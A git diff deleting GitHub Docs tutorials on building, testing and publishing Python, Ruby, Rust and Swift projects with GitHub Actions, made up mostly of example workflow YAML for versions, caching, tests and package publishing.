Mac | Windows | -|------|-------|------|----------| -|**Tool Cache Directory** |`/opt/hostedtoolcache/*`|`/Users/runner/hostedtoolcache/*`|`C:\hostedtoolcache\windows\*`| -|**Python Tool Cache**|`/opt/hostedtoolcache/Python/*`|`/Users/runner/hostedtoolcache/Python/*`|`C:\hostedtoolcache\windows\Python\*`| -|**PyPy Tool Cache**|`/opt/hostedtoolcache/PyPy/*`|`/Users/runner/hostedtoolcache/PyPy/*`|`C:\hostedtoolcache\windows\PyPy\*`| - -{% endrowheaders %} - -If you are using a self-hosted runner, you can configure the runner to use the `setup-python` action to manage your dependencies. For more information, see [using setup-python with a self-hosted runner](https://github.com/actions/setup-python#using-setup-python-with-a-self-hosted-runner) in the `setup-python` README. - -{% data variables.product.prodname_dotcom %} supports semantic versioning syntax. For more information, see [Using semantic versioning](https://docs.npmjs.com/about-semantic-versioning#using-semantic-versioning-to-specify-update-types-your-package-can-accept) and the [Semantic versioning specification](https://semver.org/). - -### Using multiple Python versions - -The following example uses a matrix for the job to set up multiple Python versions. For more information, see [AUTOTITLE](/actions/using-jobs/using-a-matrix-for-your-jobs). - -```yaml copy -name: Python package - -on: [push] - -jobs: - build: - - runs-on: ubuntu-latest - strategy: - matrix: - python-version: ["pypy3.10", "3.9", "3.10", "3.11", "3.12", "3.13"] - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Set up Python {% raw %}${{ matrix.python-version }}{% endraw %} - uses: {% data reusables.actions.action-setup-python %} - with: - python-version: {% raw %}${{ matrix.python-version }}{% endraw %} - # You can test your matrix by printing the current Python version - - name: Display Python version - run: python -c "import sys; print(sys.version)" -``` - -### Using a specific Python version - -You can configure a specific version of Python. For example, 3.12. Alternatively, you can use semantic version syntax to get the latest minor release. This example uses the latest minor release of Python 3. - -```yaml copy -name: Python package - -on: [push] - -jobs: - build: - - runs-on: ubuntu-latest - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Set up Python - # This is the version of the action for setting up Python, not the Python version. - uses: {% data reusables.actions.action-setup-python %} - with: - # Semantic version range syntax or exact version of a Python version - python-version: '3.x' - # Optional - x64 or x86 architecture, defaults to x64 - architecture: 'x64' - # You can test your matrix by printing the current Python version - - name: Display Python version - run: python -c "import sys; print(sys.version)" -``` - -### Excluding a version - -If you specify a version of Python that is not available, `setup-python` fails with an error such as: `##[error]Version 3.7 with arch x64 not found`. The error message includes the available versions. - -You can also use the `exclude` keyword in your workflow if there is a configuration of Python that you do not wish to run. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstrategy). - -```yaml copy -name: Python package - -on: [push] - -jobs: - build: - - runs-on: {% raw %}${{ matrix.os }}{% endraw %} - strategy: - matrix: - os: [ubuntu-latest, macos-latest, windows-latest] - python-version: ["3.9", "3.11", "3.13", "pypy3.10"] - exclude: - - os: macos-latest - python-version: "3.11" - - os: windows-latest - python-version: "3.11" -``` - -### Using the default Python version - -We recommend using `setup-python` to configure the version of Python used in your workflows because it helps make your dependencies explicit. If you don't use `setup-python`, the default version of Python set in `PATH` is used in any shell when you call `python`. The default version of Python varies between {% data variables.product.prodname_dotcom %}-hosted runners, which may cause unexpected changes or use an older version than expected. - -| {% data variables.product.prodname_dotcom %}-hosted runner | Description | -|----|----| -| Ubuntu | Ubuntu runners have multiple versions of system Python installed under `/usr/bin/python` and `/usr/bin/python3`. The Python versions that come packaged with Ubuntu are in addition to the versions that {% data variables.product.prodname_dotcom %} installs in the tools cache. | -| Windows | Excluding the versions of Python that are in the tools cache, Windows does not ship with an equivalent version of system Python. To maintain consistent behavior with other runners and to allow Python to be used out-of-the-box without the `setup-python` action, {% data variables.product.prodname_dotcom %} adds a few versions from the tools cache to `PATH`.| -| macOS | The macOS runners have more than one version of system Python installed, in addition to the versions that are part of the tools cache. The system Python versions are located in the `/usr/local/Cellar/python/*` directory. | - -## Installing dependencies - -{% data variables.product.prodname_dotcom %}-hosted runners have the pip package manager installed. You can use pip to install dependencies from the PyPI package registry before building and testing your code. For example, the YAML below installs or upgrades the `pip` package installer and the `setuptools` and `wheel` packages. - -You can also cache dependencies to speed up your workflow. For more information, see [AUTOTITLE](/actions/using-workflows/caching-dependencies-to-speed-up-workflows). - -```yaml copy -steps: -- uses: {% data reusables.actions.action-checkout %} -- name: Set up Python - uses: {% data reusables.actions.action-setup-python %} - with: - python-version: '3.x' -- name: Install dependencies - run: python -m pip install --upgrade pip setuptools wheel -``` - -### Requirements file - -After you update `pip`, a typical next step is to install dependencies from `requirements.txt`. For more information, see [pip](https://pip.pypa.io/en/stable/cli/pip_install/#example-requirements-file). - -```yaml copy -steps: -- uses: {% data reusables.actions.action-checkout %} -- name: Set up Python - uses: {% data reusables.actions.action-setup-python %} - with: - python-version: '3.x' -- name: Install dependencies - run: | - python -m pip install --upgrade pip - pip install -r requirements.txt -``` - -### Caching Dependencies - -You can cache and restore the dependencies using the [`setup-python` action](https://github.com/actions/setup-python). - -The following example caches dependencies for pip. - -```yaml copy -steps: -- uses: {% data reusables.actions.action-checkout %} -- uses: {% data reusables.actions.action-setup-python %} - with: - python-version: '3.12' - cache: 'pip' -- run: pip install -r requirements.txt -- run: pip test -``` - -By default, the `setup-python` action searches for the dependency file (`requirements.txt` for pip, `Pipfile.lock` for pipenv or `poetry.lock` for poetry) in the whole repository. For more information, see [Caching packages dependencies](https://github.com/actions/setup-python#caching-packages-dependencies) in the `setup-python` README. - -If you have a custom requirement or need finer controls for caching, you can use the [`cache` action](https://github.com/marketplace/actions/cache). Pip caches dependencies in different locations, depending on the operating system of the runner. The path you'll need to cache may differ from the Ubuntu example above, depending on the operating system you use. For more information, see [Python caching examples](https://github.com/actions/cache/blob/main/examples.md#python---pip) in the `cache` action repository. - -## Testing your code - -You can use the same commands that you use locally to build and test your code. - -### Testing with pytest and pytest-cov - -This example installs or upgrades `pytest` and `pytest-cov`. Tests are then run and output in JUnit format while code coverage results are output in Cobertura. For more information, see [JUnit](https://junit.org/junit5/) and [Cobertura](https://cobertura.github.io/cobertura/). - -```yaml copy -steps: -- uses: {% data reusables.actions.action-checkout %} -- name: Set up Python - uses: {% data reusables.actions.action-setup-python %} - with: - python-version: '3.x' -- name: Install dependencies - run: | - python -m pip install --upgrade pip - pip install -r requirements.txt -- name: Test with pytest - run: | - pip install pytest pytest-cov - pytest tests.py --doctest-modules --junitxml=junit/test-results.xml --cov=com --cov-report=xml --cov-report=html -``` - -### Using Ruff to lint and/or format code - -The following example installs or upgrades `ruff` and uses it to lint all files. For more information, see [Ruff](https://docs.astral.sh/ruff). - -```yaml copy -steps: -- uses: {% data reusables.actions.action-checkout %} -- name: Set up Python - uses: {% data reusables.actions.action-setup-python %} - with: - python-version: '3.x' -- name: Install the code linting and formatting tool Ruff - run: pipx install ruff -- name: Lint code with Ruff - run: ruff check --output-format=github --target-version=py39 -- name: Check code formatting with Ruff - run: ruff format --diff --target-version=py39 - continue-on-error: true -``` - -The formatting step has `continue-on-error: true` set. This will keep the workflow from failing if the formatting step doesn't succeed. Once you've addressed all of the formatting errors, you can remove this option so the workflow will catch new issues. - -### Running tests with tox - -With {% data variables.product.prodname_actions %}, you can run tests with tox and spread the work across multiple jobs. You'll need to invoke tox using the `-e py` option to choose the version of Python in your `PATH`, rather than specifying a specific version. For more information, see [tox](https://tox.readthedocs.io/en/latest/). - -```yaml copy -name: Python package - -on: [push] - -jobs: - build: - - runs-on: ubuntu-latest - strategy: - matrix: - python: ["3.9", "3.11", "3.13"] - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Setup Python - uses: {% data reusables.actions.action-setup-python %} - with: - python-version: {% raw %}${{ matrix.python }}{% endraw %} - - name: Install tox and any other packages - run: pip install tox - - name: Run tox - # Run tox using the version of Python in `PATH` - run: tox -e py -``` - -## Packaging workflow data as artifacts - -You can upload artifacts to view after a workflow completes. For example, you may need to save log files, core dumps, test results, or screenshots. For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts). - -The following example demonstrates how you can use the `upload-artifact` action to archive test results from running `pytest`. For more information, see the [`upload-artifact` action](https://github.com/actions/upload-artifact). - -```yaml copy -name: Python package - -on: [push] - -jobs: - build: - - runs-on: ubuntu-latest - strategy: - matrix: - python-version: ["3.9", "3.10", "3.11", "3.12", "3.13"] - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Setup Python # Set Python version - uses: {% data reusables.actions.action-setup-python %} - with: - python-version: {% raw %}${{ matrix.python-version }}{% endraw %} - # Install pip and pytest - - name: Install dependencies - run: | - python -m pip install --upgrade pip - pip install pytest - - name: Test with pytest - run: pytest tests.py --doctest-modules {% raw %}--junitxml=junit/test-results-${{ matrix.python-version }}.xml{% endraw %} - - name: Upload pytest test results - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: {% raw %}pytest-results-${{ matrix.python-version }}{% endraw %} - path: {% raw %}junit/test-results-${{ matrix.python-version }}.xml{% endraw %} - # Use always() to always run this step to publish test results when there are test failures - if: {% raw %}${{ always() }}{% endraw %} -``` - -## Publishing to PyPI - -You can configure your workflow to publish your Python package to PyPI once your CI tests pass. This section demonstrates how you can use {% data variables.product.prodname_actions %} to upload your package to PyPI each time you publish a release. For more information, see [AUTOTITLE](/repositories/releasing-projects-on-github/managing-releases-in-a-repository). - -The example workflow below uses [Trusted Publishing](https://docs.pypi.org/trusted-publishers/) to authenticate with PyPI, eliminating the need for a manually configured API token. - -```yaml copy -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Upload Python Package - -on: - release: - types: [published] - -permissions: - contents: read - -jobs: - release-build: - runs-on: ubuntu-latest - - steps: - - uses: {% data reusables.actions.action-checkout %} - - - uses: {% data reusables.actions.action-setup-python %} - with: - python-version: "3.x" - - - name: Build release distributions - run: | - # NOTE: put your own distribution build steps here. - python -m pip install build - python -m build - - - name: Upload distributions - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: release-dists - path: dist/ - - pypi-publish: - runs-on: ubuntu-latest - - needs: - - release-build - - permissions: - # IMPORTANT: this permission is mandatory for trusted publishing - id-token: write - - # Dedicated environments with protections for publishing are strongly recommended. - environment: - name: pypi - # OPTIONAL: uncomment and update to include your PyPI project URL in the deployment status: - # url: https://pypi.org/p/YOURPROJECT - - steps: - - name: Retrieve release distributions - uses: {% data reusables.actions.action-download-artifact %} - with: - name: release-dists - path: dist/ - - - name: Publish release distributions to PyPI - uses: pypa/gh-action-pypi-publish@6f7e8d9c0b1a2c3d4e5f6a7b8c9d0e1f2a3b4c5d -``` - -{% ifversion not ghes %} - -For more information about this workflow, including the PyPI settings -needed, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-pypi). - -{% endif %} diff --git a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-ruby.md b/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-ruby.md deleted file mode 100644 index 2c7e7dcf1b74..000000000000 --- a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-ruby.md +++ /dev/null @@ -1,354 +0,0 @@ ---- -title: Building and testing Ruby -intro: You can create a continuous integration (CI) workflow to build and test your Ruby project. -redirect_from: - - /actions/guides/building-and-testing-ruby - - /actions/automating-builds-and-tests/building-and-testing-ruby -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CI - - Ruby -shortTitle: Build & test Ruby ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide shows you how to create a continuous integration (CI) workflow that builds and tests a Ruby application. If your CI tests pass, you may want to deploy your code or publish a gem. - -## Prerequisites - -We recommend that you have a basic understanding of Ruby, YAML, workflow configuration options, and how to create a workflow file. For more information, see: - -* [Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions) -* [Ruby in 20 minutes](https://www.ruby-lang.org/en/documentation/quickstart/) - -## Using a Ruby workflow template - -{% data reusables.actions.workflow-templates-get-started %} - -{% data variables.product.prodname_dotcom %} provides a workflow template for Ruby that should work for most Ruby projects. The subsequent sections of this guide give examples of how you can customize this workflow template. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.actions.new-starter-workflow %} -1. The "Choose a workflow" page shows a selection of recommended workflow templates. Search for "ruby". -1. Filter the selection of workflows by clicking **Continuous integration**. -1. On the "Ruby" workflow, click **Configure**. - -{%- ifversion ghes %} - - If you don't find the "Ruby" workflow template, copy the following workflow code to a new file called `ruby.yml` in the `.github/workflows` directory of your repository. - - ```yaml copy - name: Ruby - - on: - push: - branches: [ "main" ] - pull_request: - branches: [ "main" ] - - permissions: - contents: read - - jobs: - test: - runs-on: ubuntu-latest - strategy: - matrix: - ruby-version: ['2.6', '2.7', '3.0'] - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Set up Ruby - # To automatically get bug fixes and new Ruby versions for ruby/setup-ruby, - # change this to (see https://github.com/ruby/setup-ruby#versioning): - # uses: ruby/setup-ruby@v1 - uses: ruby/setup-ruby@55283cc23133118229fd3f97f9336ee23a179fcf # v1.146.0 - with: - ruby-version: {% raw %}${{ matrix.ruby-version }}{% endraw %} - bundler-cache: true # runs 'bundle install' and caches installed gems automatically - - name: Run tests - run: bundle exec rake - ``` - -{%- endif %} - -1. Edit the workflow as required. For example, change the Ruby versions you want to use. - - {% indented_data_reference reusables.actions.third-party-actions spaces=3 %} - -1. Click **Commit changes**. - -{% ifversion fpt or ghec %} - The `ruby.yml` workflow file is added to the `.github/workflows` directory of your repository. -{% endif %} - -## Specifying the Ruby version - -The easiest way to specify a Ruby version is by using the `ruby/setup-ruby` action provided by the Ruby organization on GitHub. The action adds any supported Ruby version to `PATH` for each job run in a workflow. For more information and available Ruby versions, see [`ruby/setup-ruby`](https://github.com/ruby/setup-ruby). - -Using Ruby's `ruby/setup-ruby` action is the recommended way of using Ruby with GitHub Actions because it ensures consistent behavior across different runners and different versions of Ruby. - -The `setup-ruby` action takes a Ruby version as an input and configures that version on the runner. - -```yaml -steps: -- uses: {% data reusables.actions.action-checkout %} -- uses: ruby/setup-ruby@ec02537da5712d66d4d50a0f33b7eb52773b5ed1 - with: - ruby-version: '3.1' # Not needed with a .ruby-version file -- run: bundle install -- run: bundle exec rake -``` - -Alternatively, you can check a `.ruby-version` file into the root of your repository and `setup-ruby` will use the version defined in that file. - -## Testing with multiple versions of Ruby - -You can add a matrix strategy to run your workflow with more than one version of Ruby. For example, you can test your code against the latest patch releases of versions 3.1, 3.0, and 2.7. - -{% raw %} - -```yaml -strategy: - matrix: - ruby-version: ['3.1', '3.0', '2.7'] -``` - -{% endraw %} - -Each version of Ruby specified in the `ruby-version` array creates a job that runs the same steps. The {% raw %}`${{ matrix.ruby-version }}`{% endraw %} context is used to access the current job's version. For more information about matrix strategies and contexts, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions) and [AUTOTITLE](/actions/learn-github-actions/contexts). - -The full updated workflow with a matrix strategy could look like this: - -```yaml -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Ruby CI - -on: - push: - branches: [ main ] - pull_request: - branches: [ main ] - -jobs: - test: - - runs-on: ubuntu-latest - - strategy: - matrix: - ruby-version: ['3.1', '3.0', '2.7'] - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: {% raw %}Set up Ruby ${{ matrix.ruby-version }}{% endraw %} - uses: ruby/setup-ruby@ec02537da5712d66d4d50a0f33b7eb52773b5ed1 - with: - ruby-version: {% raw %}${{ matrix.ruby-version }}{% endraw %} - - name: Install dependencies - run: bundle install - - name: Run tests - run: bundle exec rake -``` - -## Installing dependencies with Bundler - -The `setup-ruby` action will automatically install bundler for you. The version is determined by your `gemfile.lock` file. If no version is present in your lockfile, then the latest compatible version will be installed. - -```yaml -steps: -- uses: {% data reusables.actions.action-checkout %} -- uses: ruby/setup-ruby@ec02537da5712d66d4d50a0f33b7eb52773b5ed1 - with: - ruby-version: '3.1' -- run: bundle install -``` - -### Caching dependencies - -The `setup-ruby` actions provides a method to automatically handle the caching of your gems between runs. - -To enable caching, set the following. - -{% raw %} - -```yaml -steps: -- uses: ruby/setup-ruby@ec02537da5712d66d4d50a0f33b7eb52773b5ed1 - with: - bundler-cache: true -``` - -{% endraw %} - -This will configure bundler to install your gems to `vendor/cache`. For each successful run of your workflow, this folder will be cached by {% data variables.product.prodname_actions %} and re-downloaded for subsequent workflow runs. A hash of your `gemfile.lock` and the Ruby version are used as the cache key. If you install any new gems, or change a version, the cache will be invalidated and bundler will do a fresh install. - -**Caching without setup-ruby** - -For greater control over caching, you can use the `actions/cache` action directly. For more information, see [AUTOTITLE](/actions/using-workflows/caching-dependencies-to-speed-up-workflows). - -```yaml -steps: -- uses: {% data reusables.actions.action-cache %} - with: - path: vendor/bundle - key: {% raw %}${{ runner.os }}-gems-${{ hashFiles('**/Gemfile.lock') }}{% endraw %} - restore-keys: | - {% raw %}${{ runner.os }}-gems-{% endraw %} -- name: Bundle install - run: | - bundle config path vendor/bundle - bundle install --jobs 4 --retry 3 -``` - -If you're using a matrix build, you will want to include the matrix variables in your cache key. For example, if you have a matrix strategy for different ruby versions (`matrix.ruby-version`) and different operating systems (`matrix.os`), your workflow steps might look like this: - -```yaml -steps: -- uses: {% data reusables.actions.action-cache %} - with: - path: vendor/bundle - key: {% raw %}bundle-use-ruby-${{ matrix.os }}-${{ matrix.ruby-version }}-${{ hashFiles('**/Gemfile.lock') }}{% endraw %} - restore-keys: | - {% raw %}bundle-use-ruby-${{ matrix.os }}-${{ matrix.ruby-version }}-{% endraw %} -- name: Bundle install - run: | - bundle config path vendor/bundle - bundle install --jobs 4 --retry 3 -``` - -## Matrix testing your code - -The following example matrix tests all stable releases and head versions of MRI, JRuby and TruffleRuby on Ubuntu and macOS. - -```yaml -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Matrix Testing - -on: - push: - branches: [ main ] - pull_request: - branches: [ main ] - -jobs: - test: - runs-on: {% raw %}${{ matrix.os }}-latest{% endraw %} - strategy: - fail-fast: false - matrix: - os: [ubuntu, macos] - ruby: [2.5, 2.6, 2.7, head, debug, jruby, jruby-head, truffleruby, truffleruby-head] - continue-on-error: {% raw %}${{ endsWith(matrix.ruby, 'head') || matrix.ruby == 'debug' }}{% endraw %} - steps: - - uses: {% data reusables.actions.action-checkout %} - - uses: ruby/setup-ruby@ec02537da5712d66d4d50a0f33b7eb52773b5ed1 - with: - ruby-version: {% raw %}${{ matrix.ruby }}{% endraw %} - - run: bundle install - - run: bundle exec rake -``` - -## Linting your code - -The following example installs `rubocop` and uses it to lint all files. For more information, see [RuboCop](https://github.com/rubocop-hq/rubocop). You can [configure Rubocop](https://docs.rubocop.org/rubocop/configuration.html) to decide on the specific linting rules. - -```yaml -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Linting - -on: [push] - -jobs: - test: - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-checkout %} - - uses: ruby/setup-ruby@ec02537da5712d66d4d50a0f33b7eb52773b5ed1 - with: - ruby-version: '2.6' - - run: bundle install - - name: Rubocop - run: rubocop -f github -``` - -Specifying `-f github` means that the RuboCop output will be in {% data variables.product.prodname_dotcom %}'s annotation format. Any linting errors will show inline in the **Files changed** tab of the pull request that introduces them. - -## Publishing Gems - -You can configure your workflow to publish your Ruby package to any package registry you'd like when your CI tests pass. - -You can store any access tokens or credentials needed to publish your package using repository secrets. The following example creates and publishes a package to `GitHub Package Registry` and `RubyGems`. - -```yaml -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Ruby Gem - -on: - # Manually publish - workflow_dispatch: - # Alternatively, publish whenever changes are merged to the `main` branch. - push: - branches: [ main ] - pull_request: - branches: [ main ] - -jobs: - build: - name: Build + Publish - runs-on: ubuntu-latest - permissions: - packages: write - contents: read - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Set up Ruby 2.6 - uses: ruby/setup-ruby@ec02537da5712d66d4d50a0f33b7eb52773b5ed1 - with: - ruby-version: '2.6' - - run: bundle install - - - name: Publish to GPR - run: |{% raw %} - mkdir -p $HOME/.gem - touch $HOME/.gem/credentials - chmod 0600 $HOME/.gem/credentials - printf -- "---\n:github: ${GEM_HOST_API_KEY}\n" > $HOME/.gem/credentials - gem build *.gemspec - gem push --KEY github --host https://rubygems.pkg.github.com/${OWNER} *.gem - env: - GEM_HOST_API_KEY: "Bearer ${{secrets.GITHUB_TOKEN}}" - OWNER: ${{ github.repository_owner }} - - - name: Publish to RubyGems - run: | - mkdir -p $HOME/.gem - touch $HOME/.gem/credentials - chmod 0600 $HOME/.gem/credentials - printf -- "---\n:rubygems_api_key: ${GEM_HOST_API_KEY}\n" > $HOME/.gem/credentials - gem build *.gemspec - gem push *.gem - env: - GEM_HOST_API_KEY: "${{secrets.RUBYGEMS_AUTH_TOKEN}}"{% endraw %} -``` diff --git a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-rust.md b/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-rust.md deleted file mode 100644 index d472c5885056..000000000000 --- a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-rust.md +++ /dev/null @@ -1,173 +0,0 @@ ---- -title: Building and testing Rust -intro: You can create a continuous integration (CI) workflow to build and test your Rust project. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - CI -shortTitle: Build & test Rust ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide shows you how to build, test, and publish a Rust package. - -{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with preinstalled software, which includes the dependencies for Rust. For a full list of up-to-date software and the preinstalled versions of Rust, see [AUTOTITLE](/actions/using-github-hosted-runners/using-github-hosted-runners/about-github-hosted-runners#preinstalled-software). - -## Prerequisites - -You should already be familiar with YAML syntax and how it's used with {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions). - -We recommend that you have a basic understanding of the Rust language. For more information, see [Getting started with Rust](https://www.rust-lang.org/learn). - -## Using a Rust workflow template - -{% data reusables.actions.workflow-templates-get-started %} - -{% data variables.product.prodname_dotcom %} provides a Rust workflow template that should work for most basic Rust projects. The subsequent sections of this guide give examples of how you can customize this workflow template. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.actions.new-starter-workflow %} -1. The "Choose a workflow" page shows a selection of recommended workflow templates. Search for "Rust". -1. Filter the selection of workflows by clicking **Continuous integration**. -1. On the "Rust - by {% data variables.product.prodname_actions %}" workflow, click **Configure**. - - ![Screenshot of the "Choose a workflow" page. The "Configure" button on the "Rust" workflow is highlighted with an orange outline.](/assets/images/help/actions/starter-workflow-rust.png) - -{%- ifversion ghes %} - If you don't find the "Rust - by {% data variables.product.prodname_actions %}" workflow template, copy the following workflow code to a new file called `rust.yml` in the `.github/workflows` directory of your repository. - - ```yaml copy - name: Rust - - on: - push: - branches: [ "main" ] - pull_request: - branches: [ "main" ] - - env: - CARGO_TERM_COLOR: never - - jobs: - build: - - runs-on: ubuntu-latest - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Build - run: cargo build --verbose - - name: Run tests - run: cargo test --verbose - ``` - -{%- endif %} - -1. Edit the workflow as required. For example, change the version of Rust. -1. Click **Commit changes**. - -{% ifversion fpt or ghec %} - The `rust.yml` workflow file is added to the `.github/workflows` directory of your repository. -{% endif %} - -## Specifying a Rust version - -{% data variables.product.prodname_dotcom %}-hosted runners include a recent version of the Rust toolchain. You can use rustup to report on the version installed on a runner, override the version, and to install different toolchains. For more information, see [The rustup book](https://rust-lang.github.io/rustup/). - -This example shows steps you could use to setup your runner environment to use the nightly build of rust and to report the version. - -```yaml copy - - name: Temporarily modify the rust toolchain version - run: rustup override set nightly - - name: Output rust version for educational purposes - run: rustup --version -``` - -### Caching dependencies - -You can cache and restore dependencies using the Cache action. This example assumes that your repository contains a `Cargo.lock` file. - -```yaml copy - - name: Cache - uses: {% data reusables.actions.action-cache %} - with: - path: | - ~/.cargo/registry - ~/.cargo/git - target - key: {% raw %}${{ runner.os }}-cargo-${{ hashFiles('**/Cargo.lock') }}{% endraw %} -``` - -If you have custom requirements or need finer controls for caching, you should explore other configuration options for the [`cache` action](https://github.com/marketplace/actions/cache). For more information, see [AUTOTITLE](/actions/using-workflows/caching-dependencies-to-speed-up-workflows). - -## Building and testing your code - -You can use the same commands that you use locally to build and test your code. This example workflow demonstrates how to use `cargo build` and `cargo test` in a job: - -```yaml copy -jobs: - build: - runs-on: ubuntu-latest - strategy: - matrix: - BUILD_TARGET: [release] # refers to a cargo profile - outputs: - release_built: {% raw %}${{ steps.set-output.outputs.release_built }}{% endraw %} - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Build binaries in "{% raw %}${{ matrix.BUILD_TARGET }}{% endraw %}" mode - run: cargo build --profile ${% raw %}{{ matrix.BUILD_TARGET }}{% endraw %} - - name: Run tests in "${% raw %}{{ matrix.BUILD_TARGET }}{% endraw %}" mode - run: cargo test --profile ${% raw %}{{ matrix.BUILD_TARGET }}{% endraw %} -``` - -The `release` keyword used in this example corresponds to a cargo profile. You can use any [profile](https://doc.rust-lang.org/cargo/reference/profiles.html) you have defined in your `Cargo.toml` file. - -## Publishing your package or library to crates.io - -Once you have setup your workflow to build and test your code, you can use a secret to login to [crates.io](https://crates.io/) and publish your package. - -```yaml copy - - name: Login into crates.io - run: cargo login {% raw %}${{ secrets.CRATES_IO }}{% endraw %} - - name: Build binaries in "release" mode - run: cargo build -r - - name: "Package for crates.io" - run: cargo package # publishes a package as a tarball - - name: "Publish to crates.io" - run: cargo publish # publishes your crate as a library that can be added as a dependency -``` - -If there are any errors building and packaging the crate, check the metadata in your manifest, `Cargo.toml` file, see [The Manifest Format](https://doc.rust-lang.org/cargo/reference/manifest.html). You should also check your `Cargo.lock` file, see [Cargo.toml vs Cargo.lock](https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html). - -## Packaging workflow data as artifacts - -After a workflow completes, you can upload the resulting artifacts for analysis or to use in another workflow. You could add these example steps to the workflow to upload an application for use by another workflow. - -```yaml copy - - name: Upload release artifact - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: {% raw %}<my-app>{% endraw %} - path: {% raw %}target/${{ matrix.BUILD_TARGET }}/<my-app>{% endraw %} -``` - -To use the uploaded artifact in a different job, ensure your workflows have the right permissions for the repository, see [AUTOTITLE](/actions/security-for-github-actions/security-guides/automatic-token-authentication). You could use these example steps to download the app created in the previous workflow and publish it on {% data variables.product.github %}. - -```yaml copy - - uses: {% data reusables.actions.action-checkout %} - - name: Download release artifact - uses: {% data reusables.actions.action-download-artifact %} - with: - name: {% raw %}<my-app>{% endraw %} - path: ./{% raw %}<my-app>{% endraw %} - - name: Publish built binary to {% data variables.product.github %} releases - - run: | - gh release create --generate-notes ./{% raw %}<my-app>/<my-project>#<my-app>{% endraw %} diff --git a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-swift.md b/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-swift.md deleted file mode 100644 index 6df66633b00e..000000000000 --- a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-swift.md +++ /dev/null @@ -1,151 +0,0 @@ ---- -title: Building and testing Swift -intro: You can create a continuous integration (CI) workflow to build and test your Swift project. -redirect_from: - - /actions/guides/building-and-testing-swift - - /actions/automating-builds-and-tests/building-and-testing-swift -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CI - - Swift -shortTitle: Build & test Swift ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide shows you how to build and test a Swift package. - -{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with preinstalled software, and the Ubuntu and macOS runners include the dependencies for building Swift packages. For a full list of up-to-date software and the preinstalled versions of Swift and Xcode, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software). - -## Prerequisites - -You should already be familiar with YAML syntax and how it's used with {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions). - -We recommend that you have a basic understanding of Swift packages. For more information, see [Swift Packages](https://developer.apple.com/documentation/xcode/swift-packages) in the Apple developer documentation. - -## Using a Swift workflow template - -{% data reusables.actions.workflow-templates-get-started %} - -{% data variables.product.prodname_dotcom %} provides a workflow template for Swift that should work for most Swift projects. The subsequent sections of this guide give examples of how you can customize this workflow template. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.actions.new-starter-workflow %} -1. The "Choose a workflow" page shows a selection of recommended workflow templates. Search for "swift". -1. Filter the selection of workflows by clicking **Continuous integration**. -1. On the "Swift" workflow, click **Configure**. - -{%- ifversion ghes %} - - If you don't find the "Swift" workflow template, copy the following workflow code to a new file called `swift.yml` in the `.github/workflows` directory of your repository. - - ```yaml copy - name: Swift - - on: - push: - branches: [ "main" ] - pull_request: - branches: [ "main" ] - - jobs: - build: - runs-on: macos-latest - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Build - run: swift build -v - - name: Run tests - run: swift test -v - ``` - -{%- endif %} - -1. Edit the workflow as required. For example, change the branch on which the workflow will run. -1. Click **Commit changes**. - -{% ifversion fpt or ghec %} - The `swift.yml` workflow file is added to the `.github/workflows` directory of your repository. -{% endif %} - -## Specifying a Swift version - -To use a specific preinstalled version of Swift on a {% data variables.product.prodname_dotcom %}-hosted runner, use the 